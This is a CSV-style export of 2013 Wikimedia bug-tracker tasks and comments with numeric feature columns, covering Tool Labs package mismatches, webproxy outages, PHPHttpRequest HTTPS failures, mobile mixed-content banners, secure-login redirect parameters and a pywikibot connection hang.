+278411,Use the HTTP API in round-trip testing,"I would very much like to create these tests, as long as beta labs and test2wiki would be targets.",,,1383605498,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-87,True,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+278406,Use the HTTP API in round-trip testing,"Additionally, we should consider converting our round-trip tests to use the web API as well.",,,1383604718,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,True,,,-87,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+58326,tools-login has different repository than other nodes,"Right now tools-login provide doxygen 1.8 but other nodes only doxygen 1.7
+
+this is not the only inconsistency other packages may have different version as well, it seems that old nodes like tools-exec-01 are using different repository.
+
+This should be somehow resolved, for example we need doxygen 1.8 but on exec nodes we have only 1.7, and what is ever worse I am afraid that some exec nodes provide 1.7 while others provide 1.8
+
+if that is true for other packages too, this may have critical impact for certain jobs which expect same version to exist on all execution nodes
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",High,80.0,1383065640,1385144007.0,PHID-USER-ppytiem7rcsbnstfsrvq,False,,False,PHID-TASK-6e5c435b2v7yejeovuwh,task_description,resolved,True,c3,1,True,False,True,-88,True,1,0,0,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+261807,tools-login has different repository than other nodes,"With -login having been downgraded to the same version, this unifies all to 1.7.6",,,1385144007,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6e5c435b2v7yejeovuwh,task_subcomment,,True,c3,1,True,,,-84,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+261801,tools-login has different repository than other nodes,"Change 97055 merged by coren:
+Tool Labs: install doxygen{,-latex}
+
+https://gerrit.wikimedia.org/r/97055",,,1385143938,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6e5c435b2v7yejeovuwh,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+261794,tools-login has different repository than other nodes,"Change 97055 had a related patch set uploaded by coren:
+Tool Labs: install doxygen{,-latex}
+
+https://gerrit.wikimedia.org/r/97055",,,1385141890,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6e5c435b2v7yejeovuwh,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+261786,tools-login has different repository than other nodes,"The version installed on tools-login is, in fact, not available through any of the enabled revisions or repos -- and that specific version seems to come from Quantal (and not unstable, which provides 1.8.5-1).
+
+I have no memory of having backported that package, there is no related log entry nor does there seem to be a ticket in bugzilla requesting that specific version.  I'm going to forcibly restore doxygen to the supported Precise version.",,,1385141406,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6e5c435b2v7yejeovuwh,task_subcomment,,True,c3,1,True,,,-84,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+58158,tools-webproxy intermittently down for http,"see http://ganglia.wmflabs.org/latest/?c=tools&h=tools-webproxy&m=load_one&r=hour&s=by%20name&hc=4&mc=2
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1382708100,1383053246.0,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,False,PHID-TASK-q2i23llzx5y57tttmumu,task_description,resolved,True,c3,1,False,False,True,-88,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+275971,tools-webproxy intermittently down for http,*** Bug 56244 has been marked as a duplicate of this bug. ***,,,1383054215,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-q2i23llzx5y57tttmumu,task_subcomment,,True,c3,1,True,,,-88,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+275963,tools-webproxy intermittently down for http,Problem located and squished; it turns out that one of the tools was accidentally causing a DDOS by triggering flood protection.  Settings have been tweaked to be more forgiving.  :-),,,1383053246,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-q2i23llzx5y57tttmumu,task_subcomment,,True,c3,1,True,,,-88,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+275954,tools-webproxy intermittently down for http,"There appears to be an intermittent problem, but that problem only affects http:// and not https://",,,1382714329,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-q2i23llzx5y57tttmumu,task_subcomment,,True,c3,1,True,,,-88,True,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0
+275947,tools-webproxy intermittently down for http,"The proxy actually seems fine, and has been running without interruption (at least, I see no 'blank spots' in the logs since the NFS migration (with 200s in basically every minute).
+
+I'm guessing that the issue is with the ganglia instrumentation.",,,1382711595,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-q2i23llzx5y57tttmumu,task_subcomment,,True,c3,1,True,,,-88,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0
+58047,PHPHttpRequest doesn't work with HTTPS,"Introduced by 1c927b1df2a (Iab2bda1ebc). Turns out PHP expects the context scheme name to be ""http"" regardless of whether the actual protocol is HTTP or HTTPS. This breaks PHPHttpRequest for all HTTPS requests since it no longer sets the stream context properly.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal",High,80.0,1382542620,1399636250.0,PHID-USER-ea6gwat27oulytc5tvsy,False,,False,PHID-TASK-i3ra3luvp4o57n2apqkg,task_description,resolved,True,c3,1,False,False,True,-89,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,1,0,0
+268960,PHPHttpRequest doesn't work with HTTPS,"Backported to REL1_22, closing again as FIXED.",,,1399636250,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c3,1,True,,,-60,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+268957,PHPHttpRequest doesn't work with HTTPS,"Change 132184 merged by jenkins-bot:
+Fixed stream wrapper in PhpHttpRequest
+
+https://gerrit.wikimedia.org/r/132184",,,1399546172,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c3,1,False,,,-60,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+268954,PHPHttpRequest doesn't work with HTTPS,"Change 132184 had a related patch set uploaded by MarkAHershberger:
+Fixed stream wrapper in PhpHttpRequest
+
+https://gerrit.wikimedia.org/r/132184",,,1399545959,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c3,1,False,,,-60,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+268951,PHPHttpRequest doesn't work with HTTPS,"Change 91393 merged by jenkins-bot:
+Fixed stream wrapper in PhpHttpRequest
+
+https://gerrit.wikimedia.org/r/91393",,,1391123566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+268948,PHPHttpRequest doesn't work with HTTPS,"Change 91393 had a related patch set uploaded by Parent5446:
+Fixed stream wrapper in PhpHttpRequest
+
+https://gerrit.wikimedia.org/r/91393",,,1382542832,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c3,1,False,,,-89,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+57860,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"To replicate, go to https://m.mediawiki.org - with console open, you should see an error like:
+
+[blocked] The page at https://m.mediawiki.org/wiki/MediaWiki ran insecure content from http://meta.m.wikimedia.org/wiki/Special:BannerRandom?uselang=en&sitename=M…roject=wikimedia&anonymous=false&bucket=1&country=US&device=android&slot=6.
+
+I presume this makes it impossible to run CN banners on mobile devices for logged in users.
+
+I chatted briefly with Matt Walker about this and it sounds like this is the result of how infrastructure is currently architected, though there may be an easy solution of forcing mobile URLs in CentralNotice using MobileContext::getMobileUrl() from MobileFrontend.
+
+--------------------------
+**Version**: master
+**Severity**: normal",High,80.0,1382059200,1398408159.0,PHID-USER-jh2oguhshocanixqvlfk,False,,False,PHID-TASK-nhm2ipniixhjagqyuoq7,task_description,resolved,True,c3,1,False,False,True,-89,True,0,0,0,1,0,1,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+258862,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"No reply to comment 8 - assuming this bug is FIXED.
+If that is not the case: Please reopen and elaborate what is left to do here to get this report fixed.",,,1398408159,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c3,1,True,,,-62,True,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0
+258857,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"mwalker:
+Patch was merged a while ago - is there more work left to do here (if yes: please reset the bug report status to NEW or ASSIGNED), or can you close this ticket as RESOLVED FIXED?",,,1392383043,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,0,1,0,0
+258851,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"Change 92806 merged by jenkins-bot:
+Serve Mobile URLs to Mobile Users
+
+https://gerrit.wikimedia.org/r/92806",,,1383176344,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+258843,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"Change 92806 had a related patch set uploaded by Mwalker:
+Serve Mobile URLs to Mobile Users
+
+https://gerrit.wikimedia.org/r/92806",,,1383174528,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+258833,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"**mwalker** wrote:
+
+%%%*** Bug 56393 has been marked as a duplicate of this bug. ***%%%",,,1383174514,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+258825,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"**mwalker** wrote:
+
+eh... not really; the patch didn't work. So! New patch!",,,1383174482,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+258819,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,Looks like the patch was merged and I'm no longer seeing the issue on m.mediawiki.org. Can this bug be closed?,,,1383157363,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,1,0,0
+258813,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"Change 90639 merged by Adamw:
+Serve Mobile URLs to Mobile Users
+
+https://gerrit.wikimedia.org/r/90639",,,1382126966,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c3,1,False,,,-89,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+258806,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"Change 90639 had a related patch set uploaded by Mwalker:
+Serve Mobile URLs to Mobile Users
+
+https://gerrit.wikimedia.org/r/90639",,,1382126221,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c3,1,False,,,-89,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+57761,wgSecureLogin redirect to https drops campaign and other URL parameters,"Now that $wgSecureLogin defaults to true for most WMF wikis, Special:UserLogin/signup redirects account creation to https. When it does so it drops all URL parameters to signup apart from returnto and returntoquery.
+
+As a result, we're losing campaign information, and other control over login such as &showGettingStarted=false.
+
+To reproduce:
+Browse enwiki over http, visit a random page, click Edit, if the yellowish ""You are not logged in...."" anoneditwarning bar appears, then note the http: link for "" or create an account"" contains &campaign=anoneditwarning""
+
+But when you click it, you are redirected to
+https://en.wikipedia.org/w/index.php?title=Special:UserLogin/signup&returnto=Ectoedemia_sabina&returntoquery=&fromhttp=1
+
+with no campaign parameter.
+
+One fix is to test for campaign and add it back to the $query, in the execute() function in includes/specials/SpecialUserlogin.php. Or, include all query string parameters in the redirect URL.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal",High,80.0,1381873020,1381959845.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-2quv7lfgsv57c5rbpniz,task_description,resolved,True,c3,1,False,False,True,-90,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,0
+277922,wgSecureLogin redirect to https drops campaign and other URL parameters,"**swalling** wrote:
+
+https://gerrit.wikimedia.org/r/#/c/90125/ reviewed and merged",,,1381959845,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c3,1,False,,,-90,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0
+277916,wgSecureLogin redirect to https drops campaign and other URL parameters,"Change 90125 merged by jenkins-bot:
+Include miscellaneous query parameters in $wgSecureLogin redirect
+
+https://gerrit.wikimedia.org/r/90125",,,1381943295,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c3,1,False,,,-90,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+277909,wgSecureLogin redirect to https drops campaign and other URL parameters,"Change 90125 had a related patch set uploaded by Anomie:
+Include miscellaneous query parameters in $wgSecureLogin redirect
+
+https://gerrit.wikimedia.org/r/90125",,,1381934043,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c3,1,False,,,-90,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+277903,wgSecureLogin redirect to https drops campaign and other URL parameters,"**swalling** wrote:
+
+Setting to high priority since this means ongoing data collection is being interrupted. Visible at: http://ee-dashboard.wmflabs.org/graphs/enwiki_campaigns",,,1381887312,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c3,1,False,,,-90,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+277895,wgSecureLogin redirect to https drops campaign and other URL parameters,"(In reply to comment #1)
+> But is there any reason not to preserve the entire query string (then add
+> fromhttp=1)?
+
+Not that I can see for the purposes of the redirect. In load(), SpecialUserlogin.php adjusts mReturnTo and mReturnToQuery and on $wgSecureLogin redirect builds a new query string out of them; but my hunch is there's no harm redirecting to https with the entire original query string, and doing all query param processing in https processing.",,,1381885637,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c3,1,False,,,-90,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,1
+277887,wgSecureLogin redirect to https drops campaign and other URL parameters,"Chris, it's not meant to be a parameter on the page they come back to (e.g. we don't want to send them to https://en.wikipedia.org/wiki/Ectoedemia_sabina?campaign=foo.  It's meant to be a parameter on the create page itself, since it's checked in the UserCreateForm hook.  I.E.
+
+https://en.wikipedia.org/w/index.php?title=Special:UserLogin/signup&returnto=Ectoedemia_sabina&returntoquery=&campaign=foo&fromhttp=1",,,1381877222,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c3,1,True,,,-90,True,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+277879,wgSecureLogin redirect to https drops campaign and other URL parameters,"spage, whatever is inserting that link isn't accounting for the campaign parameter correctly. The signup form is correct redirecting back to the passed in returnto and returntoquery, which that link is incorrectly generating. For example, if you manually add ""&campaign=asdf"" to your url, and then click the normal nav bar's ""Create account"", the returntoquery is correctly set.",,,1381876826,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c3,1,True,,,-90,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+277872,wgSecureLogin redirect to https drops campaign and other URL parameters,"campaign is not part of core, so if you need to add it here, it should be through a hook.
+
+But is there any reason not to preserve the entire query string (then add fromhttp=1)?",,,1381876021,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c3,1,True,,,-90,True,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+57127,core hangs on killed http(s) connection,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1657/
+Reported by: valhallasw
+Created on: 2013-08-22 15:14:10.237000
+Subject: core hangs on killed http(s) connection
+Original description:
+Steps to reproduce:
+
+>>> p = pywikibot.Page(pywikibot.getSite('nl', 'wikipedia'), 'Wikipedia')
+>>> p.get()
+
+# now kill the connection, e.g. using tcpview in windows
+
+>>> p = pywikibot.Page(pywikibot.getSite('nl', 'wikipedia'), 'Wikipedia')
+>>> p.get()
+
+# hangs
+
+
+
+Expected result:
+pywikibot reconnects and executes the .get()
+
+Actual result:
+complete hang (deadlock?)
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: major
+**See Also**:
